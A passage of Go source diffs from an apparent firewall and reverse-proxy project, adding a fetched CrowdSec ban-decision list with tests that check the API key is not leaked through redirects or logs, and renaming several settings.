t.Errorf("the key was sent to %v", keySentTo)
}
shown, err := json.Marshal([]any{lists.Snapshot(), waiting(queue)})
if err != nil {
t.Fatalf("encode: %v", err)
}
if strings.Contains(log+string(shown), engineKey) {
t.Errorf("the key is shown in\n%s\n%s", log, shown)
}
}
func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(
t *testing.T,
) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
{
rangeScope,
"198.51.100.0/24",
ban,
probing,
began.Add(time.Hour),
},
}}
lists := start(t, e, crowdSecParams())
kept := lists.Snapshot()
// Restarted half an hour later with what lists.json keeps, and
// the engine down, the decision still bans, until the end it had at
// the fetch, half an hour on.
time.Sleep(30 * time.Minute)
down := &engine{key: engineKey, failing: true}
again := reputation.New(crowdSecParams())
again.SetTransport(down)
err := again.Load(kept)
if err != nil {
t.Fatalf("load: %v", err)
}
run(t, again)
want := reputation.Decision{
Expires: began.Add(time.Hour),
Scenario: probing,
}
wantDecision(t, again, "198.51.100.7", want)
time.Sleep(30*time.Minute - time.Nanosecond)
synctest.Wait()
wantDecision(t, again, "198.51.100.7", want)
time.Sleep(time.Nanosecond)
synctest.Wait()
wantDecision(t, again, "198.51.100.7", reputation.Decision{})
})
}
func TestLoadTakesACrowdSecListNeverFetchedAndRefusesACopyThatDoesNotRead(
t *testing.T,
) {
t.Parallel()
now := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
lists := reputation.New(crowdSecParams())
// Tried, and never fetched: there is no copy to read.
err := lists.Load([]reputation.List{{URL: decisionsURL, Tried: now}})
if err != nil {
t.Errorf("load the list never fetched: %v", err)
}
err = lists.Load([]reputation.List{{
URL: decisionsURL, Tried: now, Fetched: now, Lines: []string{
`[{"duration": "4h", "scope": "Range", "type": "ban", ` +
`"value": "198.51.100.0/33"}]`,
},
}})
const want = "the copy of " + decisionsURL + ": decision 1 does not give an " +
"address or a netblock and a duration, such as 4h0m0s"
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
}
// engine is a stand-in for the local API of a CrowdSec engine. It answers
// a fetch of the decision list that carries its key in X-Api-Key with its
// decisions still in force, each with the time it has left as it answers,
// by the bubble's clock, as an engine does, or with answer while that is
// not "". It answers 403 to a fetch without its key, as an engine does,
// with a redirect to redirect while that is not "", and 503 while failing.
// It counts the fetches, and notes in keySentTo the URL of each fetch of
// another URL that carries a key, as one following a redirect would.
type engine struct {
mu sync.Mutex
key string
decisions []decision
answer string
redirect string
failing bool
fetches int
keySentTo []string
}
// decision is a decision of the engine, which ends at expires.
type decision struct {
scope, value, kind, scenario string
expires time.Time
}
// RoundTrip has the engine answer req, in place of the network.
func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
e.mu.Lock()
defer e.mu.Unlock()
e.fetches++
if req.URL.String() != decisionsURL &&
req.Header.Get("X-Api-Key") != "" {
e.keySentTo = append(e.keySentTo, req.URL.String())
}
status, header, body := http.StatusOK, http.Header{}, e.answer
switch {
case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
status, body = http.StatusForbidden, `{"message":"access forbidden"}`
case e.redirect != "":
status, header = http.StatusFound, http.Header{
"Location": {e.redirect},
}
case e.failing:
status, body = http.StatusServiceUnavailable, ""
case body == "":
body = e.inForce(time.Now())
}
return &http.Response{
StatusCode: status,
Status: fmt.Sprintf("%d %s", status, http.StatusText(status)),
Header: header,
Body: io.NopCloser(strings.NewReader(body)),
Request: req,
}, nil
}
// inForce returns the decisions in force at now, as the engine answers
// them: a JSON list, null for none.
func (e *engine) inForce(now time.Time) string {
var answer []map[string]string
for _, d := range e.decisions {
if now.Before(d.expires) {
answer = append(answer, map[string]string{
"duration": d.expires.Sub(now).
String(),
"origin": "crowdsec",
"scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value,
})
}
}
body, err := json.Marshal(answer)
if err != nil {
panic(err) // a list of maps of strings always encodes
}
return string(body)
}
// set changes the engine with change.
func (e *engine) set(change func(e *engine)) {
e.mu.Lock()
defer e.mu.Unlock()
change(e)
}
// crowdSecParams returns the Params of the decision list of the tests'
// engine, fetched with its key, by the bubble's clock, with alerts to a
// queue that sends none.
func crowdSecParams() reputation.Params {
p := params()
p.CrowdSecDecisionsURL = decisionsURL
p.CrowdSecKey = engineKey
return p
}
// wantEngineFetches waits until Run has made the fetches due, and checks
// how many the engine has had.
func wantEngineFetches(t *testing.T, e *engine, want int) {
t.Helper()
synctest.Wait()
e.mu.Lock()
got := e.fetches
e.mu.Unlock()
if got != want {
t.Errorf("%d fetches, want %d", got, want)
}
}
// wantDecision checks the decision lists says is in force on addr now,
// the zero Decision for none.
func wantDecision(
t *testing.T,
lists *reputation.Lists,
addr string,
want reputation.Decision,
) {
t.Helper()
got, listed := lists.CrowdSecDecision(
netip.MustParseAddr(addr),
time.Now(),
)
if listed != !want.Expires.IsZero() ||
listed &&
(!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
t.Errorf(
"%s has the decision %+v in force %t, want %+v",
addr,
got,
listed,
want,
)
}
}
internal/reputation/dnsbl.go
+2 -2
View File
@@ -60,8 +60,8 @@ type DNSBLParams struct {
// host's, as /etc/resolv.conf names it. // host's, as /etc/resolv.conf names it.
Resolver netip.AddrPort Resolver netip.AddrPort
// CacheTTL is how long a verdict is used after it was fetched // CacheTTL is how long a verdict is used after it was fetched
// (SWW_WAF_IP_REPUTATION_CACHE_TTL), and Timeout how long a query may // (SWW_WAF_REPUTATION_CACHE_TTL), and Timeout how long a query may take
// take (SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS). // (SWW_WAF_REPUTATION_TIMEOUT).
CacheTTL time.Duration CacheTTL time.Duration
Timeout time.Duration Timeout time.Duration
// Now tells the time, normally time.Now in UTC. // Now tells the time, normally time.Now in UTC.
internal/reputation/dnsbl_test.go
+4 -5
View File
@@ -40,11 +40,10 @@ const (
// zone and otherZone are the DNSBL zones the tests name. // zone and otherZone are the DNSBL zones the tests name.
zone = "dnsbl.example" zone = "dnsbl.example"
otherZone = "other.example" otherZone = "other.example"
// cacheTTL is the tests' SWW_WAF_IP_REPUTATION_CACHE_TTL, and timeout // cacheTTL is the tests' SWW_WAF_REPUTATION_CACHE_TTL, and timeout their
// their SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS: a second, the least time // SWW_WAF_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf
// /etc/resolv.conf can have Go's resolver wait for one server, so that // can have Go's resolver wait for one server, so that it is the
// it is the DNSBL's own timeout that ends a query, whatever that file // DNSBL's own timeout that ends a query, whatever that file says.
// says.
cacheTTL = 24 * time.Hour cacheTTL = 24 * time.Hour
timeout = time.Second timeout = time.Second
// listed and unlisted are clients zone is asked about by the names // listed and unlisted are clients zone is asked about by the names
internal/reputation/export_test.go
+1
View File
@@ -11,6 +11,7 @@ import (
// network. // network.
func (l *Lists) SetTransport(transport http.RoundTripper) { func (l *Lists) SetTransport(transport http.RoundTripper) {
l.httpClient.Transport = transport l.httpClient.Transport = transport
l.crowdSecClient.Transport = transport
} }
// SetTransport has a's checks go through transport instead of the // SetTransport has a's checks go through transport instead of the
internal/reputation/reputation.go
+170 -19
View File
@@ -1,7 +1,8 @@
// Package reputation fetches the lists the settings name by URL: the // Package reputation fetches the lists the settings name by URL: the
// blocklists of SWW_WAF_BLOCKLIST_URLS, the file of AS:percent lines // blocklists of SWW_WAF_BLOCKLIST_URLS, the file of AS:percent lines
// SWW_WAF_ASN_LIMIT_PERCENT_URL names, and the address lists of // SWW_WAF_ASN_LIMIT_PERCENT_URL names, the address lists of SWW_WAF_TAG_LISTS, and
// SWW_WAF_TAG_LISTS. It keeps the last good copy of // the decision list of the CrowdSec engine SWW_WAF_CROWDSEC_LAPI_URL names. It
// keeps the last good copy of
// each, whole, comment lines included, which is used while a fetch fails, // each, whole, comment lines included, which is used while a fetch fails,
// and when each was last tried. It also asks the DNSBL zones of // and when each was last tried. It also asks the DNSBL zones of
// SWW_WAF_DNSBL_ZONES about clients, and keeps their verdicts, and checks // SWW_WAF_DNSBL_ZONES about clients, and keeps their verdicts, and checks
@@ -12,6 +13,7 @@ package reputation
import ( import (
"context" "context"
"encoding/json"
"errors" "errors"
"fmt" "fmt"
"io" "io"
@@ -33,6 +35,10 @@ const (
maxListBytes = 16 << 20 maxListBytes = 16 << 20
// fetchTimeout bounds one fetch of a list. // fetchTimeout bounds one fetch of a list.
fetchTimeout = time.Minute fetchTimeout = time.Minute
// crowdSecRefresh is how long after the CrowdSec decision list was last
// fetched or tried it is fetched again: the engine is the operator's
// own, and makes and ends decisions all the time.
crowdSecRefresh = time.Minute
// mappedBits is the length of ::ffff:0.0.0.0/96, the netblock of every // mappedBits is the length of ::ffff:0.0.0.0/96, the netblock of every
// IPv4-mapped address. // IPv4-mapped address.
mappedBits = 96 mappedBits = 96
@@ -46,6 +52,9 @@ var (
) )
errNotASNPercent = errors.New( errNotASNPercent = errors.New(
"is not an AS number, : and a percentage, such as AS64496:50") "is not an AS number, : and a percentage, such as AS64496:50")
errNotDecision = errors.New(
"does not give an address or a netblock and a duration, such as 4h0m0s",
)
) )
// List is a list as lists.json holds it: the URL it is fetched from, // List is a list as lists.json holds it: the URL it is fetched from,
@@ -68,8 +77,14 @@ type Params struct {
ASNLimitPercentURL string ASNLimitPercentURL string
// TagLists are the address lists that add a tag (SWW_WAF_TAG_LISTS). // TagLists are the address lists that add a tag (SWW_WAF_TAG_LISTS).
TagLists []config.TagList TagLists []config.TagList
// CrowdSecDecisionsURL is the CrowdSec decision list, "" while
// SWW_WAF_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
// (SWW_WAF_CROWDSEC_LAPI_KEY).
CrowdSecDecisionsURL string
CrowdSecKey string
// Refresh is how long after a list was last fetched or tried it is // Refresh is how long after a list was last fetched or tried it is
// fetched again (SWW_WAF_BLOCKLIST_REFRESH). // fetched again (SWW_WAF_BLOCKLIST_REFRESH), but for the CrowdSec decision
// list, which is fetched again crowdSecRefresh after.
Refresh time.Duration Refresh time.Duration
// Now tells the time, normally time.Now in UTC. // Now tells the time, normally time.Now in UTC.
Now func() time.Time Now func() time.Time
@@ -84,6 +99,10 @@ type Params struct {
type Lists struct { type Lists struct {
params Params params Params
httpClient *http.Client httpClient *http.Client
// crowdSecClient fetches the CrowdSec decision list. It follows no
// redirect, so that the key goes to the engine alone: a redirect is a
// failure.
crowdSecClient *http.Client
mu sync.Mutex mu sync.Mutex
// lists are by URL, one for each URL Params names. // lists are by URL, one for each URL Params names.
@@ -100,12 +119,22 @@ type list struct {
} }
// entries are what the lines of a copy say: for a blocklist or a tag list, the // entries are what the lines of a copy say: for a blocklist or a tag list, the
// netblocks it names, with the lengths among them, and for the file of // netblocks it names, with the lengths among them, for the file of AS:percent
// AS:percent lines, the percentage it gives each AS number. // lines, the percentage it gives each AS number, and for the CrowdSec decision
// list, the decision on each netblock that ends last, with the lengths among
// them.
type entries struct { type entries struct {
netblocks map[netip.Prefix]bool netblocks map[netip.Prefix]bool
lengths []int lengths []int
percents map[string]int64 percents map[string]int64
decisions map[netip.Prefix]Decision
}
// Decision is a decision of the CrowdSec engine to ban a netblock: when
// it ends, and the scenario that made it, such as crowdsecurity/ssh-bf.
type Decision struct {
Expires time.Time
Scenario string
} }
// New returns the lists, without a copy of any yet. // New returns the lists, without a copy of any yet.
@@ -113,6 +142,11 @@ func New(params Params) *Lists {
l := &Lists{ l := &Lists{
params: params, params: params,
httpClient: &http.Client{}, httpClient: &http.Client{},
crowdSecClient: &http.Client{
CheckRedirect: func(*http.Request, []*http.Request) error {
return http.ErrUseLastResponse
},
},
lists: map[string]*list{}, lists: map[string]*list{},
} }
@@ -125,7 +159,7 @@ func New(params Params) *Lists {
// URLs returns the URL of every list: the blocklists' in the order // URLs returns the URL of every list: the blocklists' in the order
// SWW_WAF_BLOCKLIST_URLS names them, then SWW_WAF_ASN_LIMIT_PERCENT_URL, then the // SWW_WAF_BLOCKLIST_URLS names them, then SWW_WAF_ASN_LIMIT_PERCENT_URL, then the
// tag lists'. // tag lists', then the CrowdSec decision list's.
func (l *Lists) URLs() []string { func (l *Lists) URLs() []string {
urls := slices.Clone(l.params.BlocklistURLs) urls := slices.Clone(l.params.BlocklistURLs)
if l.params.ASNLimitPercentURL != "" { if l.params.ASNLimitPercentURL != "" {
@@ -136,6 +170,10 @@ func (l *Lists) URLs() []string {
urls = append(urls, list.URL) urls = append(urls, list.URL)
} }
if l.params.CrowdSecDecisionsURL != "" {
urls = append(urls, l.params.CrowdSecDecisionsURL)
}
return urls return urls
} }
@@ -187,6 +225,40 @@ func (l *Lists) ASNLimitPercent(asn string) (int64, bool) {
return percent, listed return percent, listed
} }
// CrowdSecDecision returns the decision of the copy of the CrowdSec
// decision list on a netblock that holds addr and that ends last, and
// whether it is still in force at now. A decision that has ended no
// longer bans, even before the next fetch drops it.
func (l *Lists) CrowdSecDecision(
addr netip.Addr,
now time.Time,
) (Decision, bool) {
if l.params.CrowdSecDecisionsURL == "" {
return Decision{}, false
}
l.mu.Lock()
defer l.mu.Unlock()
kept := l.lists[l.params.CrowdSecDecisionsURL].entries
var last Decision
for _, length := range kept.lengths {
netblock, err := addr.Prefix(length)
if err != nil {
continue // an IPv6 netblock's length, past an IPv4 address's 32 bits
}
decision := kept.decisions[netblock]
if decision.Expires.After(last.Expires) {
last = decision
}
}
return last, now.Before(last.Expires)
}
// Fetched returns when the copy in use of the list at listURL was // Fetched returns when the copy in use of the list at listURL was
// fetched, or zero while there is none. // fetched, or zero while there is none.
func (l *Lists) Fetched(listURL string) time.Time { func (l *Lists) Fetched(listURL string) time.Time {
@@ -259,7 +331,7 @@ func (l *Lists) Load(lists []List) error {
continue // dropped, or a list tried but never fetched, without a copy continue // dropped, or a list tried but never fetched, without a copy
} }
read, err := l.parse(kept.URL, kept.Lines) read, err := l.parse(kept.URL, kept.Lines, kept.Fetched)
if err != nil { if err != nil {
return fmt.Errorf("the copy of %s: %w", kept.URL, err) return fmt.Errorf("the copy of %s: %w", kept.URL, err)
} }
@@ -305,7 +377,8 @@ func (l *Lists) fetchDue(ctx context.Context) time.Time {
} }
// due returns when the list at listURL is to be fetched: Refresh after it // due returns when the list at listURL is to be fetched: Refresh after it
// was last fetched or tried, the later of the two. // was last fetched or tried, the later of the two, or crowdSecRefresh
// after for the CrowdSec decision list.
func (l *Lists) due(listURL string) time.Time { func (l *Lists) due(listURL string) time.Time {
l.mu.Lock() l.mu.Lock()
defer l.mu.Unlock() defer l.mu.Unlock()
@@ -317,6 +390,10 @@ func (l *Lists) due(listURL string) time.Time {
last = held.kept.Tried last = held.kept.Tried
} }
if listURL == l.params.CrowdSecDecisionsURL {
return last.Add(crowdSecRefresh)
}
return last.Add(l.params.Refresh) return last.Add(l.params.Refresh)
} }
@@ -331,7 +408,7 @@ func (l *Lists) fetch(ctx context.Context, listURL string) {
var found entries var found entries
if err == nil { if err == nil {
found, err = l.parse(listURL, lines) found, err = l.parse(listURL, lines, now)
} }
cutOff := err != nil && ctx.Err() != nil cutOff := err != nil && ctx.Err() != nil
@@ -391,8 +468,11 @@ func raiseFailure(queue *alerts.Queue, reason, source string, err error) {
}) })
} }
// get fetches the list at listURL, and returns its lines. An answer other // get fetches the list at listURL, and returns its lines. The CrowdSec
// than 200, or a list longer than maxListBytes, is a failure. // decision list is fetched with CrowdSecKey in the header X-Api-Key, where
// the engine looks for it, by crowdSecClient, which follows no redirect.
// An answer other than 200, or a list longer than maxListBytes, is a
// failure.
func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) { func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
ctx, cancel := context.WithTimeout(ctx, fetchTimeout) ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
defer cancel() defer cancel()
@@ -407,7 +487,14 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
return nil, fmt.Errorf("make the request: %w", err) return nil, fmt.Errorf("make the request: %w", err)
} }
res, err := l.httpClient.Do(req) client := l.httpClient
if listURL == l.params.CrowdSecDecisionsURL {
req.Header.Set("X-Api-Key", l.params.CrowdSecKey)
client = l.crowdSecClient
}
res, err := client.Do(req)
if err != nil { if err != nil {
// Do's error names the URL, which the log line and the alert name // Do's error names the URL, which the log line and the alert name
// already: only what went wrong is kept. // already: only what went wrong is kept.
@@ -439,16 +526,22 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
return lines, nil return lines, nil
} }
// parse reads the lines of the list at listURL: those of a blocklist or a // parse reads the lines of the list at listURL, fetched at fetched: those
// tag list, or of the file of AS:percent lines. Anything after a ; or a # // of a blocklist or a tag list, of the file of AS:percent lines, or of the
// on a line is left out, and so is a line left blank. Any other line that // CrowdSec decision list. In all but the decision list, anything after a ; or
// a # on a line is left out, and so is a line left blank. Any other line that
// does not read is an error naming it by its number. // does not read is an error naming it by its number.
func (l *Lists) parse(listURL string, lines []string) (entries, error) { func (l *Lists) parse(
if listURL == l.params.ASNLimitPercentURL { listURL string, lines []string, fetched time.Time,
) (entries, error) {
switch listURL {
case l.params.ASNLimitPercentURL:
return parsePercents(lines) return parsePercents(lines)
} case l.params.CrowdSecDecisionsURL:
return parseDecisions(lines, fetched)
default:
return parseNetblocks(lines) return parseNetblocks(lines)
}
} }
// parseNetblocks reads the lines of a blocklist or a tag list, each an address // parseNetblocks reads the lines of a blocklist or a tag list, each an address
@@ -535,6 +628,64 @@ func parsePercents(lines []string) (entries, error) {
return found, nil return found, nil
} }
// parseDecisions reads the lines of the CrowdSec decision list fetched at
// fetched: the engine's answer, a JSON list of its decisions in force,
// null while it has none. A decision of the type ban whose scope is Ip or
// Range, as CrowdSec names them, bans its value, an address or a netblock
// as parseNetblock reads it, until its duration, the time it had left as
// the engine answered, has passed since fetched. Any other decision, such
// as one to show a captcha or one on a country, is left out. A decision
// to ban whose value or duration does not read is an error naming it by
// its number.
func parseDecisions(lines []string, fetched time.Time) (entries, error) {
var answer []struct {
Duration string `json:"duration"`
Scenario string `json:"scenario"`
Scope string `json:"scope"`
Type string `json:"type"`
Value string `json:"value"`
}
err := json.Unmarshal([]byte(strings.Join(lines, "\n")), &answer)
if err != nil {
return entries{}, fmt.Errorf("read the answer: %w", err)
}
found := entries{decisions: map[netip.Prefix]Decision{}}
for i, decision := range answer {
if decision.Type != "ban" ||
(decision.Scope != "Ip" && decision.Scope != "Range") {
continue
}
netblock, ok := parseNetblock(decision.Value)
duration, err := time.ParseDuration(decision.Duration)
if !ok || err != nil {
return entries{}, fmt.Errorf(
"decision %d %w",
i+1,
errNotDecision,
)
}
expires := fetched.Add(duration)
if expires.After(found.decisions[netblock].Expires) {
found.decisions[netblock] = Decision{
Expires: expires,
Scenario: decision.Scenario,
}
}
if !slices.Contains(found.lengths, netblock.Bits()) {
found.lengths = append(found.lengths, netblock.Bits())
}
}
return found, nil
}
// withoutComment returns line without anything after a ; or a #, and // withoutComment returns line without anything after a ; or a #, and
// without the spaces around what is left. // without the spaces around what is left.
func withoutComment(line string) string { func withoutComment(line string) string {
internal/requestlog/requestlog.go
+13 -13
View File
@@ -29,8 +29,9 @@ const (
ActionClientIsRateLimited = "client_is_rate_limited" ActionClientIsRateLimited = "client_is_rate_limited"
// ActionTemporarilyBanned is a request refused because a ban that runs // ActionTemporarilyBanned is a request refused because a ban that runs
// out covers its client, or because it matched a ban rule or asked for a // out covers its client, or because it matched a ban rule, asked for a
// trap path, and so made such a ban. // trap path or the CrowdSec decision list lists its client, and so made
// such a ban.
ActionTemporarilyBanned = "temporarily_banned" ActionTemporarilyBanned = "temporarily_banned"
// ActionPermanentlyBanned is a request refused because a ban that never // ActionPermanentlyBanned is a request refused because a ban that never
@@ -43,14 +44,13 @@ const (
ActionBlockedByBlockRule = "blocked_by_block_rule" ActionBlockedByBlockRule = "blocked_by_block_rule"
// ActionBlockedByCoreRuleSet is a request refused because the Core Rule // ActionBlockedByCoreRuleSet is a request refused because the Core Rule
// Set scored it at or over SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD. // Set scored it at or over SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
ActionBlockedByCoreRuleSet = "blocked_by_core_rule_set" ActionBlockedByCoreRuleSet = "blocked_by_core_rule_set"
// ActionClientDenied is a request refused because its client is in // ActionClientDenied is a request refused because its client is in
// SWW_WAF_DENY_NETS, in a blocklist while SWW_WAF_BLOCKLIST_ACTION is deny, // SWW_WAF_DENY_NETS, in a blocklist while SWW_WAF_BLOCKLIST_ACTION is deny,
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while // or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
// SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny, or that carries a tag in // SWW_WAF_REPUTATION_ACTION is deny, or that carries a tag in SWW_WAF_TAG_DENY.
// SWW_WAF_TAG_DENY.
ActionClientDenied = "client_denied" ActionClientDenied = "client_denied"
// ActionCountryDenied is a request refused because its client's country // ActionCountryDenied is a request refused because its client's country
@@ -62,12 +62,12 @@ const (
) )
// OffenceLimit is the offence a request line names for a request that // OffenceLimit is the offence a request line names for a request that
// broke a rate limit or the refusal limit, or whose bytes broke a byte // broke a rate limit or the error burst, or whose bytes broke a byte
// limit. // limit.
const OffenceLimit = "limit" const OffenceLimit = "limit"
// LimitHitMinuteRefusals is the limit_hit a request line names for a request // LimitHitMinuteRefusals is the limit_hit a request line names for a request
// that broke the refusal limit. // that broke the error burst.
const LimitHitMinuteRefusals = "minute_refusals" const LimitHitMinuteRefusals = "minute_refusals"
// The waf_line a request line names, which says which of // The waf_line a request line names, which says which of
@@ -180,10 +180,11 @@ type Line struct {
// LimitHit is the window whose limit the request went over, named as // LimitHit is the window whose limit the request went over, named as
// Counts names its count: minute, hour or day for a rate limit, and // Counts names its count: minute, hour or day for a rate limit, and
// minute_bytes, hour_bytes or day_bytes for a byte limit; or // minute_bytes, hour_bytes or day_bytes for a byte limit; or
// LimitHitMinuteRefusals for the refusal limit. // LimitHitMinuteRefusals for the error burst.
LimitHit string `json:"limit_hit,omitempty"` LimitHit string `json:"limit_hit,omitempty"`
// Reputation are the URLs of the blocklists that list the client, then // Reputation are the URLs of the blocklists that list the client, then
// the DNSBL zones whose verdict lists it, their keys masked, then abuseipdb when its // that of the CrowdSec decision list when it does, then the DNSBL zones
// whose verdict lists it, their keys masked, then abuseipdb when its
// score is a hit. // score is a hit.
Reputation []string `json:"reputation,omitempty"` Reputation []string `json:"reputation,omitempty"`
// Tags are the request's tags, sorted. // Tags are the request's tags, sorted.
@@ -232,11 +233,10 @@ type RProxyLine struct {
DurationRequestMS float64 `json:"duration_request_ms"` DurationRequestMS float64 `json:"duration_request_ms"`
DurationResponseMS float64 `json:"duration_response_ms"` DurationResponseMS float64 `json:"duration_response_ms"`
// Disposition is the valid disposition waf answered or, while // Disposition is the valid disposition waf answered or, while
// WAFBackendNoAnswer is true, the value of // DefaultDisposition is true, the value of SWW_RPROXY_DEFAULT_DISPOSITION. It is ""
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION. It is "" when neither // when neither gave one.
// gave one.
Disposition string `json:"disposition,omitempty"` Disposition string `json:"disposition,omitempty"`
WAFBackendNoAnswer bool `json:"waf_backend_no_answer,omitempty"` DefaultDisposition bool `json:"default_disposition,omitempty"`
} }
// Write writes line to w as one JSON line marked "type":"request". // Write writes line to w as one JSON line marked "type":"request".
internal/rproxy/limits_test.go
+2 -137
View File
@@ -26,10 +26,6 @@ import (
// post is the start of a POST whose headers end with what follows it. // post is the start of a POST whose headers end with what follows it.
const post = "POST / HTTP/1.1\r\nHost: site.example\r\n" const post = "POST / HTTP/1.1\r\nHost: site.example\r\n"
// limitPastFirstPart is a SWW_RPROXY_MAX_REQUEST_SIZE past the first part of a
// body, the 64 KiB rproxy reads before it asks waf.
const limitPastFirstPart = "128K"
// announcedLength is the header that announces a body of size bytes, and the // announcedLength is the header that announces a body of size bytes, and the
// end of the headers. // end of the headers.
func announcedLength(size int) string { func announcedLength(size int) string {
@@ -79,10 +75,7 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
size, asked int size, asked int
}{ }{
{"with the limit within the first part", "1K", 1025, 1024}, {"with the limit within the first part", "1K", 1025, 1024},
{ {"with the limit past the first part", "128K", 129 << 10, questionBodyMaxBytes},
"with the limit past the first part", limitPastFirstPart, 129 << 10,
questionBodyMaxBytes,
},
} { } {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
t.Parallel() t.Parallel()
@@ -143,134 +136,6 @@ func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
} }
} }
func TestAVisitorSendingConnectionCloseReadsAnAnswerBeforeTheRestOfItsBody(
t *testing.T,
) {
t.Parallel()
for _, tc := range []struct {
name string
waf http.HandlerFunc
rest int
status int
}{
{"over the size limit", allow, 65 << 10, http.StatusRequestEntityTooLarge},
{"denied", deny, 65 << 10, http.StatusForbidden},
// rproxy reads 256 KiB of this rest. What it leaves unread must fit in the
// connection's buffers. Otherwise the visitor is still sending when the
// connection closes, and gets a reset.
{
"with more than 256 KiB left", allow, 272 << 10,
http.StatusRequestEntityTooLarge,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
standIn := startWAF(t, tc.waf)
app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked")
})
addr, _ := startRProxy(t, standIn.URL, app.URL,
map[string]string{maxRequestSize: limitPastFirstPart})
conn := dial(t, addr)
send(t, conn, post+"Connection: close\r\n"+
announcedLength(questionBodyMaxBytes+tc.rest)+
strings.Repeat("x", questionBodyMaxBytes))
reader := bufio.NewReader(conn)
res, err := http.ReadResponse(reader, nil)
if err != nil {
t.Fatalf("read the answer: %v", err)
}
_, _ = io.Copy(io.Discard, res.Body)
_ = res.Body.Close()
if res.StatusCode != tc.status {
t.Errorf("status %d, want %d", res.StatusCode, tc.status)
}
// The rest goes in small parts, so that a reset fails a later one.
for sent := 0; sent < tc.rest; sent += 1 << 10 {
send(t, conn, strings.Repeat("x", 1<<10))
}
got, err := io.ReadAll(reader)
if err != nil || len(got) != 0 {
t.Errorf(
"after the answer, read %q and %v, want the end",
got,
err,
)
}
})
}
}
func TestCloseDoesNotWaitForTheRestOfTheBodyOfAVisitorSendingConnectionClose(
t *testing.T,
) {
t.Parallel()
standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
w.Header().Set(dispositionHeader, dispositionClose)
w.WriteHeader(http.StatusOK)
})
app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked")
})
// The request time limit is far longer than dial's deadline.
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
maxRequestTime: "120000",
})
conn := dial(t, addr)
send(t, conn, post+"Connection: close\r\n"+
announcedLength(2*questionBodyMaxBytes)+
strings.Repeat("x", questionBodyMaxBytes))
// If the connection stays open, dial's deadline ends this read with a timeout.
text, err := io.ReadAll(conn)
if err != nil || len(text) != 0 {
t.Errorf(
"read %q (%v), want the connection closed without an answer",
text,
err,
)
}
}
func TestAVisitorSendingConnectionCloseGetsTheEndOfAnAnswerWithoutContentLengthAtOnce(
t *testing.T,
) {
t.Parallel()
standIn := startWAF(t, allow)
// The flush has the app's server send greeting in chunks instead of adding a
// Content-Length.
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
rc := http.NewResponseController(w)
_ = rc.EnableFullDuplex()
_, _ = io.WriteString(w, greeting)
_ = rc.Flush()
})
// The request time limit is far longer than dial's deadline.
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
maxRequestTime: "120000",
})
conn := dial(t, addr)
send(t, conn, post+"Connection: close\r\n"+
announcedLength(2*questionBodyMaxBytes)+
strings.Repeat("x", questionBodyMaxBytes+1))
wantGreeting(t, readAnswer(t, conn))
}
func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) { func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
t.Parallel() t.Parallel()
@@ -283,7 +148,7 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
mayReachApp bool mayReachApp bool
}{ }{
{"within the first part", "1K", 2 << 10, false}, {"within the first part", "1K", 2 << 10, false},
{"past the first part", limitPastFirstPart, 129 << 10, true}, {"past the first part", "128K", 129 << 10, true},
} { } {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
t.Parallel() t.Parallel()
internal/rproxy/question_test.go
+2 -2
View File
@@ -407,7 +407,7 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
line := out.requestLine(t) line := out.requestLine(t)
if line["status"] != float64(http.StatusMethodNotAllowed) || if line["status"] != float64(http.StatusMethodNotAllowed) ||
line["disposition"] != nil || line["waf_backend_no_answer"] != nil { line["disposition"] != nil || line["default_disposition"] != nil {
t.Errorf("line %v, want status 405 and no disposition", line) t.Errorf("line %v, want status 405 and no disposition", line)
} }
@@ -490,7 +490,7 @@ func TestARequestThatCannotGoToWAFAsSentIsRefused(t *testing.T) {
line := out.requestLine(t) line := out.requestLine(t)
if line["status"] != float64(http.StatusBadRequest) || if line["status"] != float64(http.StatusBadRequest) ||
line["disposition"] != nil || line["waf_backend_no_answer"] != nil { line["disposition"] != nil || line["default_disposition"] != nil {
t.Errorf("line %v, want status 400 and no disposition", line) t.Errorf("line %v, want status 400 and no disposition", line)
} }
internal/rproxy/request.go
+9 -39
View File
@@ -38,10 +38,6 @@ const plainText = "text/plain; charset=utf-8"
// and the visitor then gets a closed connection and no answer. // and the visitor then gets a closed connection and no answer.
